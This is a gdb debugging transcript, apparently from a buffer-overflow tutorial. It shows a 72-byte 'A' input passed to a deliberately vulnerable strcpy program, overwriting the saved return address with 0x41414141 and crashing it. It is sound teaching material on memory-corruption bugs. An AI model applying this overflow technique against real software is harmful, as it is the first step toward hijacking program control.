$ gdb -q vulnerable
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break foo
Breakpoint 1 at 0x804837a: file vulnerable.c, line 6.
(gdb) run `perl -e 'print "A"x72'`
Starting program: /home/sam/vulnerable `perl -e 'print "A"x72'`

Breakpoint 1, foo (arg=0xbffff912 'A' <repeats 72 times>) at vulnerable.c:6
6         strcpy(buffer, arg);
(gdb) info frame
Stack level 0, frame at 0xbffff710:
 eip = 0x804837a in foo (vulnerable.c:6); saved eip 0x80483af
 called by frame at 0xbffff720
 source language c.
 Arglist at 0xbffff708, args: arg=0xbffff912 'A' <repeats 72 times>
 Locals at 0xbffff708, Previous frame's sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c
(gdb) s
7       }
(gdb) info frame
Stack level 0, frame at 0xbffff710:
 eip = 0x804838c in foo (vulnerable.c:7); saved eip 0x41414141
 called by frame at 0xbffff714
 source language c.
 Arglist at 0xbffff708, args: arg=0xbffff900 "home/sam/vulnerable"
 Locals at 0xbffff708, Previous frame's sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()